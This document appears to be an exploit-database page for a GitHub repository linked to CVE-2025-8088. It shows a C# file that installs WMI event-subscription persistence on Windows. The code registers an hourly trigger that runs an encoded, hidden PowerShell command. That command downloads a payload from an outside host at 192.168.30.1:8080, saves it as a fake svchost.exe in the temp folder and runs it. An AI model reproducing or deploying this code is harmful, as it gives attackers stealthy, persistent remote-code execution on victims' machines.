Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files149
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Stage06/test_wmi.cs

C# · 4,295 bytes
using System;
using System.IO;
using System.Text;
using System.Management;
using System.Runtime.InteropServices;

class WmiTest
{
    [DllImport("kernel32")] static extern IntPtr LoadLibrary(string p);

    static string LogFile = @"C:\Windows\Temp\wmi_test.txt";
    static void Log(string m) { File.AppendAllText(LogFile, m + "\n", Encoding.UTF8); }

    static void Main()
    {
        Log("=== WMI TEST ===");
        try
        {
            LoadLibrary("kernel32.dll");
            SetupWmiPersistence();
        }
        catch (Exception ex) { Log("FATAL: " + ex.ToString()); }
        Log("=== WMI END ===");
    }

    static void SetupWmiPersistence()
    {
        string wmiNS = @"root\subscription";
        string filterName = "WinEvtFwd_" + Environment.MachineName;
        string consumerName = "WinEvtCon_" + Environment.MachineName;

        // Clean up any previous instances
        CleanWmi(wmiNS, filterName, consumerName);

        // Step 1: Create event filter - triggers every hour
        ManagementClass filterClass = new ManagementClass(wmiNS, "__EventFilter", null);
        ManagementObject filter = filterClass.CreateInstance();
        filter["Name"] = filterName;
        filter["Query"] = "SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_LocalTime'";
        filter["QueryLanguage"] = "WQL";
        filter["EventNamespace"] = @"root\cimv2";
        filter.Put(new PutOptions { UseAmendedQualifiers = false });
        Log("Filter created: " + filterName);

        // Step 2: Command to check and restart - PS1 that downloads stub if not running
        string psCmd = "powershell -NoP -W Hidden -Enc " +
            Convert.ToBase64String(Encoding.Unicode.GetBytes(
                "if(!(Get-Process srvinit* -ErrorAction SilentlyContinue)){" +
                "$w=(New-Object Net.WebClient);" +
                "$d=$w.DownloadData('http://192.168.30.1:8080/client.enc');" +
                "[IO.File]::WriteAllBytes($env:temp+'\\svchost.exe',$d);" +
                "Start-Process $env:temp+'\\svchost.exe'}"));

        // Step 3: Create consumer
        ManagementClass consumerClass = new ManagementClass(wmiNS, "CommandLineEventConsumer", null);
        ManagementObject consumer = consumerClass.CreateInstance();
        consumer["Name"] = consumerName;
        consumer["CommandLineTemplate"] = psCmd;
        consumer["RunInteractively"] = false;
        consumer["CreateNewConsole"] = false;
        consumer["CreateNewProcessGroup"] = true;
        consumer.Put(new PutOptions { UseAmendedQualifiers = false });
        Log("Consumer created: " + consumerName);

        // Step 4: Create binding
        ManagementClass bindingClass = new ManagementClass(wmiNS, "__FilterToConsumerBinding", null);
        ManagementObject binding = bindingClass.CreateInstance();
        binding["Filter"] = filter.Path;
        binding["Consumer"] = consumer.Path;
        binding.Put(new PutOptions { UseAmendedQualifiers = false });
        Log("Binding created");

        Log("WMI persistence setup complete");
    }

    static void CleanWmi(string ns, string filterName, string consumerName)
    {
        try
        {
            // Remove binding
            foreach (ManagementObject b in new ManagementObjectSearcher(ns,
                "SELECT * FROM __FilterToConsumerBinding").Get())
            {
                string path = b.GetText(TextFormat.Mof);
                if (path.Contains(filterName) || path.Contains(consumerName))
                { b.Delete(); Log("Removed old binding"); }
            }

            // Remove consumer
            foreach (ManagementObject c in new ManagementObjectSearcher(ns,
                "SELECT * FROM CommandLineEventConsumer").Get())
            {
                if ((string)c["Name"] == consumerName)
                { c.Delete(); Log("Removed old consumer"); }
            }

            // Remove filter
            foreach (ManagementObject f in new ManagementObjectSearcher(ns,
                "SELECT * FROM __EventFilter").Get())
            {
                if ((string)f["Name"] == filterName)
                { f.Delete(); Log("Removed old filter"); }
            }
        }
        catch (Exception ex) { Log("CleanWmi: " + ex.Message); }
    }
}